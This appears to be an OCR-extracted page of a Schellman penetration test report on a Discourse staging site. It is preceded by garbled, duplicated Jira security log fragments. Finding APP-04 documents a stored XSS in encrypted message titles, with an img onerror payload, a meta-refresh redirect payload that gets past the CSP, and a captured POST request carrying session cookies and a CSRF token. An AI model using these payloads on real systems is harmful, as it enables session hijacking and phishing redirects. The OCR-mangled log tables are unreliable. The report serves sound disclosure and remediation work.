| atlassian-jira-security.log:223-08-17 15:31:13,170+0000 http-nio-8000-exec-9 url: /rest/api/2/user anonymous 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user httpsession created [tj1aqt] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8000-exec-9 url: /rest/api/2/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user httpsession created [tj1aqt] atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8000-exec-9 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo httpSession created [tj1aqt] atlassian-jira-security.log:2023-08-17 15:32:24,276+0000 http-nio-8000-exec-3 url: /rest/api/2/serverInfo duros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo httpSession created [tj1dom] stlassian-jira-security.log:2023-08-17 15:32:24,276+0000 http-nio-8000-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo httpSession created [tj1dom] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8000-exec-8 url: /rest/api/2/user anonymous 933x11x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo thuser 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8000-exec-8 url: /rest/api/2/user anonymous 933x11x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [ixh&dg] atlassian-jira-security.log:2023-08-17 15:33:52,550+0000 http-nio-8000-exec-8 url: /rest/api/2/user lduros 933x11x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [ixh&dg] | atlassian-jira-security.log:2023-08-17 15:30:45,493+0000 http-nio-8000-exec-6 url: /rest/api/user lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user The user 'lduros' has PASSED authentication. |
| atlassian-jira-security.log:2023-08-17 15:31:13,176+0000 http-nio-8080-exec-9 url: /rest/api/2/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication atlassian-jira-security.log:2023-08-17 15:32:24,276+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [11h60] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [11h60] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [11h60] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [11h60] | atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-9 url: /rest/api/2/user anonymous 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [tj1aqr] |
| . atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [1116]om] atlassian-jira-security.log:2023-08-17 15:32:24,276+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED au thentication atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xhxdd] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED au thentication. | atlassian-jira-security.log:2023-08-17 15:31:13,176+0000 http-nio-8080-exec-9 url: /rest/api/2/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication |
| atlassian-jira-security.log:2023-08-17 15:32:24,258+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED au thentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED au thentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xk6dg] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xk6dg] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xk6dg] | |
|] atlassian-jira-security.log:2023-08-17 15:32:24,276+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED au thentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xhx6dg] atlassian-jira-security.log:2023-08-17 15:33:52,558+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xhx6dg] | atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [11161om] |
| atlassian-jira-security.log:2023-08-17 15:32:24,276+0000 http-nio-8080-exec-3 ul: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED au thentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 ul: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xhx6dg] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 ul: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication | 1 |
| thentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xhx6dg] atlassian-jira-security.log:2023-08-17 15:33:52,558+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication | atlassian-jira-security.log:2023-08-17 15:32:24,276+0000 http-nio-8000-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' hab PASSED au |
| atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8000-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xhx6dg] atlassian-jira-security.log:2023-08-17 15:33:52,558+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication | thentication. |
| atlassian-jira-security.log:2023-06-17 15:33:52,558+0000 http-nio-8000-exec-8 url: /rest/api/2/user Iduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication | atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8000-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1xhx6dg] |
| | atlassian-jira-security.log:2023-08-1/ 15:33:52,558+0000 http-nio-8080-exec-8 url: /rest/api/2/user Iduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication |

APP-04 Stored Cross-Site Scripting - Message Encryption Plugin

| Identifier | APP-04 | Impact | High | Category | Input Validation |
|---------------|-----------------|------------|----------|--------------------|------------------|
| Attack Vector | Web Application | Likelihood | Moderate | Risk Rating | Moderate |

Description

The "Title" of an encrypted private message was vulnerable to stored cross-site scripting (XSS) attacks. Stored XSS vulnerabilities arise when user input is stored and later embedded into the application's responses in an unsafe way. A JavaScript payload saved in the "Title" of an encrypted message was executed in the application when the message was decrypted and read by the receiving user. Enabling the default CSP blocked the script execution, however it was still possible to perform a malicious redirect via HTML injection.

Impact

An attacker could use the vulnerability to inject malicious JavaScript code into the application, which would execute within the browser of any user who views the relevant application content. The attacker-supplied code can perform a wide variety of actions, such as redirecting users to phishing websites, overlaying custom elements on top of the legitimate application, capturing keystrokes within the application's domain.

Location

- Injection Endpoint
 - POST https://{{Tenant}}.staged-by-discourse.com/posts
- Execution Endpoint
 - GET https://{{Tenant}}.staged-by-discourse.com/t/{{Message Title}}/{{Message ID}}

Remediation

Validate and sanitize user-controlled input displayed within "Title" of an encrypted private message. Use the HTML entity counterparts of special characters (<>'"();%+) instead of string literals.

References

OWASP Reference: WSTG-INPV-02

Retest Observations

Remediated. Malicious HTML input entered in the message title was properly escaped when output within the message viewing functionality.

Replication Steps

With Default CSP disabled

Step 1: Enable message encryption by clicking on the Enable Encrypted Messages button via "Preferences" >> "Security".

| echo.discours | ourse 🗭 e | | | | | | | ≈ ε | Expand |
|---|--|----------------|---------------|------------|---------|-------------|--------------------|---------|--------|
| 🛓 Summary | \equiv Activity | Notifica | tions 🛛 🕿 | Messages | Bado | AC | -mining | ¢ Prefe | rences |
| 🛓 Account 🛛 🔒 Sec | eurity | 🛥 Emails | Notifications | + Tracking | ☞ Users | 🖵 Interface | \equiv Navigatio | on Menu | Chat |
| Password | se Email | | | | | | | | |
| Two-Factor Author Protect your account wit Manage Two-Fact Recently Used | ntication one-time use securi Authentication | ity codes. | | | | | | | |
| 2 unknown de ic | e – Newport News, | Virginia, Unit | ed States | | | | | | |
| Mac – Ashturn, Firefox 18 burs | Virginia, United Sta | ites | ۲ | | | | | | |
| | | | 🕒 Log out all | | | | | | |
| Show all (8) | | | | | | | | | |

Step 2: Start a new message. This is from the perspective of a low privileged user "echo.discourse" sending a message to an administrator "alpha.discourse". Include the following XSS payload in the message title and click the **Message** button to send it.

| | | | | | |
|--|------------------------------|--|--|--|--|
| | | | | | |
| Start a message | This is an encrypted message | | | | |
| Secret message | | | | | |
| Ω B <i>I θ</i> 11 ↔ 1 . ≔ ≔ ☺ 苗 Φ | | | | | |
| This is an encrypted message | | | | | |
| | | | | | |
| | | | | | |
| | | | | | |

https://aspt2023t1.staged-by-discourse.com/posts

| · · | |
|-----|---|
| 1 | POST /posts HTTP/2 |
| 2 | Host: aspt2023t1.staged-by-discourse.com |
| | Cookie:stripe_mid=ed60cdba-4897-4ddb-947e-f77c62620b5cb3044b;stripe_sid= |
| | 7c0f9edb-49a5-4131-bcbd-38b781f7dde584e733; _t= |
| | 8ETfugVup51b0Wl50CmvrwKh5rpT9clTW21Ed0W7N0wRWL7mGxGUqcAECya7052q6qxVsBWffjvBRFcbqzD2ihnMCP3Vk%2FqxPKNAu1L ppv4Y8rCjh30HuXE3u%2Bn%2BG%2FkwaTNsXpYLybkx2LH0FAVwQ0ftyPn0cJkBWIdtSJK8bo04s7yfzWycDVx2wJWwQYY3K6ANwykj3j WYRtU34h5ZxE3Ynx4wlbAAeeUegFUMun3i%2Fcdqbq6z%2Fk%2BCvPNe080dRIt9nYsT3t2gkyVM0Ww5Ykh8Ujo0vG0roreEGMy6F |
| | HrQpl7G7kMrNw%3D%3D; _forum_session= |
| | 6uJIz4J%2BbLHVIbdnWIMECaCvZG8m4Mew6%2BdZT6hG3%2Fy00aCNwMuejCxYsp0Q59DJJpyHf0Yf80yInw0RTaFL%2BupK80Xv%2FW% 2BMBZ0rPul6UoPFdm7SFonFVr8Q7FDJpUMQ6MIGbdA0xPdflUlXmgnylp0UtvUDwMqnr8gh0BbfINltqdUKQKcYPdZoBYiS8%2FiUgqFI |
| | fBJuaKxqgSbKU5ZdFIE6QvGRKACQDkimUusnJ7F9nXyxJ%2FeqkbJ96IBcGzylSqT1je9kLXvC4Q8oo3rsdEFVXfZiCXTfm7215pgMApL P1RQG7Jbunp7V9eoEgBCbBchjEimz%2BmgQT6x%2B2iR6w1H4ddMo%2B7dVzkUwjj1YY%2BZV9buFtcSm3lYnt0hWbQ%3D%3D2Z8Iko eGDz63Uu1Y87BmuovtRJWzilJBipdcvQ%3D%3D |
| 4 | Content-Length: 2266 |
| 5 | Sec-Ch-Ua: |
| 6 | Discourse-Present: true |
| 7 | X-Csrf-Token: 20XCB5X95mZJFzriBtyHCL_PT89uIp2WxxmWt7oRnza6TD0NPAY05-2TuV72Yse2HJj_S81ehKgAMJApLyR7VQ |
| 8 | Sec-Ch-Ua-Mobile: ?0 |
| | X-Forwarded-For: 127.0.0.1 |
| 10 | Discourse-Logged-In: true |
| 11 | Content-Type: application/x-www-form-urlencoded; charset=UTF-8 |
| 12 | Accept: */* |
| 13 | X-Requested-With: XMLHttpRequest |
| 14 | Sec-Ch-Ua-Platform: "" |
| 15 | Origin: https://aspt2023t1.staged-by-discourse.com |
| 16 | Sec-Fetch-Site: same-origin |
| 17 | Sec-Fetch-Mode: cors |
| 18 | Sec-Fetch-Dest: empty |
| 19 | Referer: https://aspt2023t1.staged-by-discourse.com/ |
| 20 | Accept-Encoding: gzip, deflate |
| 21 | Accept-Language: en-US,en;q=0.9 |
| 22 | |
| 23 | <pre>raw=This+is+a+secret+message+with+end+to+end+encryption.+To+view+it%2C+you+must+be+invited+to+this+topic.</pre> |
| | &title=A+secret+message&unlist_topic=false&category=&is_warning=false&archetype=private_message& |
| | target_recipients=alpha.discourse&typing_duration_msecs=10000&composer_open_duration_msecs=10000& |
| | <u>featured_link=&shared_draft=false&draft_key=new_private_message&is_encrypted=true&delete_after_minutes=&</u> |
| | encrypted_title= |
| | 1%24Rk74wpeBkZp4ErSyk2%2FZxARoc9R%2FzCS2Ay0D%2B6fjasjZA73q18pViCB%2BLWqPqzrlUZT64%2FmpGviPdR0K64YPdH%2Bmm |
| | 4c7kSijBMOngL03f0wLAbysfD5mUpkDjmnqnHx3wg%3D%3D &encrypted_raw= |
| | 1%249nIzvnrE3rnYkOvoWWbHcXAbnJhbX%2BaYndwQn0y03ckk7ydX%2FZkA2y5ML9KIgdtKUT9%2F5Znsob726IpEUJm1Ayfx& |
| | encrypted_keys= |

Step 4: Authenticate as the administrative user "alpha.discourse" and click on the encrypted message.

| | | 📌 Q | |
|-------|------|--|----------|
| ories | Docs | echo.discourse Secret message <img src=x</img | • |
| | | (alpha.discourse Event Topic Test | • |
| | | echo.discourse ttest | • |
| | | echo discourse A secret messade | |

Step 5: Once the message loads and is decrypted, the JavaScript executes.

| rse Getting started | aspt2023t1.staged-by-discourse.com aspt2023t1.staged-by-discourse.com | ı says | | 📌 Q 😪 | | | | |
|---------------------|--|-------------|---|-------|--|--|--|--|
| 🏦 Secret mess | | Cancel | | | | | | |
| echo.discourse 9 | ₽ 2 | | 2m 🗸 | ٢ | | | | |
| This is an encrypte | ed message | | | | | | | |
| | | 🗣 Issue 🗢 💰 | ••• <table-cell-rows> Reply</table-cell-rows> | | | | | |

Step 6: Review the injection point.

| 🔹 Topics • 🛛 🛱 Secret message 🛃 🖉 | | Chat | | | | | | |
|--|-------|-------------|--|--|--|--|--|--|
| ≗ My Posts ● | | | | | | | | |
| Review | 11m 🗸 | Channels | | | | | | |
| | | 🗩 Channel 1 | | | | | | |
| + | | | | | | | | |
| nts Console Sources Network Performance Memory opplication Lighthouse DOM Invader | | | | | | | | |
| div class="container"> | | | | | | | | |
| ::before | | | | | | | | |
| r <div class="title-wrapper"> (Tlex</div> | | | | | | | | |
| <pre>r <h1 data-topic-id="79"></h1></pre> | | e | | | | | | |
| ▶ <a aria-label="Inbox" href="/u/alpha.discourse/messages" tipe="This topic is a personal message">∞ | |) | | | | | | |
| ▶ <div class="topic-status" ember-view"="" id="ember329"></div> | | i | | | | | | |
| ▼ <a c)<="" href="/<u>t/a-secret-message/79</u>" td=""> | | | | | | | | |
| "Secret message " | | , | | | | | | |
| <pre><lmg onerror="contirm(document.domain)" src="%"> == \$0</lmg></pre> | | | | | | | | |
| 2</td | | | | | | | | |
| A met class different title diff title diff and diegory of this topic x | | | | | | | | |
| | | 1 | | | | | | |
| - kadin id-Mambar 2000 alace-Utanic antanary ambar visule - eldine (11) | | | | | | | | |

[Continued on next page]

With Default CSP enabled

Step 1: Send another message and include the following HTML payload.

<meta http-equiv="refresh" content="2;url=https://schellman.com" />

| | | | | _ | | | | | | | | | | | | | = | |
|------|---------|-------|--------|-------|---|--------|---------|--------|---------|--------|--------|--------------|----------|--------|---------|---|---|-----------------|
| | Start | a me | eeane | Δ. | - | | | | | | | | | | | | | |
| | otant | ame | ssaye | · 💻 | | | | | | | | | | | | | | |
| alph | a.diso | cours | е | | | | | | | | | | | | | H | F | Another example |
| | | | | | | | | | | | | | | | | | | |
| And | ther e | encry | pted n | nessa | ige <n< td=""><td>ieta h</td><td>ittp-ec</td><td>quiv='</td><td>refres</td><td>sh" co</td><td>ntent=</td><td>="2;url=http</td><td>s://sche</td><td>llman.</td><td>com" /></td><td></td><td></td><td></td></n<> | ieta h | ittp-ec | quiv=' | refres | sh" co | ntent= | ="2;url=http | s://sche | llman. | com" /> | | | |
| | | | | | | | | | | | | | | | | • | | |
| Ω | в | I | G | 77 | > | 1 | ≣ | I | \odot | 鱑 | \$ | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | other e | exam | ple | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | Messa | age | Clo | se | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |

Step 2: As the "alpha.discourse" user, access the encrypted message sent from "echo.discourse".

| | 🚅 Q | |
|------------|--|----------|
| لار الا | echo.discourse Another encrypted message <meta <="" http-equiv="refresh" p=""/> | • |
| | echo.discourse A secret message | • |
| | 🔤 system [Post Event] Data export | - |

[Continued on next page]

Step 3: Once the message is loaded, the HTML triggers the redirect.

| 🚠 Another encrypted message 🖉 | | | | | | | | | |
|---------------------------------------|---|---------------------------|-----------------|--|--|--|--|--|--|
| · • | o.discourse 9 📝 | | | | | | | | |
| Anot | her example | | | | | | | | |
| se purse.com | | 🗣 Issue | ∽ ⊙ ∘ | | | | | | |
| ources Network Performance Memory | Applation Lighthouse DOM Invi | ader | | | | | | | |
| 📵 ⊘ 🝸 🔍 🗌 Preserve log 🗌 Di | isable contraction is a contract in the second s | Ŧ | | | | | | | |
| Filter Invert I Hid | ie date JRLs All Fetch/XHR JS CSS In | mg Media Font Doc WS Wasm | Manifest Other | | | | | | |
| 5000 ms | 10000 5 15000 ms | 20000 ms | 25000 ms | | | | | | |
| | | | | | | | | | |
| Name | <mark>-</mark> ri | Status | Domain | | | | | | |
| user?usernames%5B%5D=echo.discourse | https://aspt2023t1.staged-by-discourse | 200 | aspt2023t1.stag | | | | | | |
| o user?usernames%5B%5D=echo.discours | https://aspt2023t1.staged-by-discourse | 200 | aspt2023t1.stag | | | | | | |
| markdown-it-bundle-f54c10e144516a4a55 | https://global.discourse-cdn.com/aspt2 | 200 | global.discours | | | | | | |
| 🗆 report.json | https://aspt2023t1.staged-by-discourse | (pending) | aspt2023t1.stag | | | | | | |
| 🗆 update 🛛 🗸 | https://aspt2023t1.staged-by-discourse | (pending) | aspt2023t1.stag | | | | | | |
| 📄 www.schellman.com | https://www.schellman.com/ | (pending) | www.schellman | | | | | | |
| schellman.com | https://scheliman.com/ | 301 | schellman.com | | | | | | |

Continued:







www.schellman.com / info@schellman.com / 1.866.254.0000 Outside of the United States, please dial: +1.813.288.8833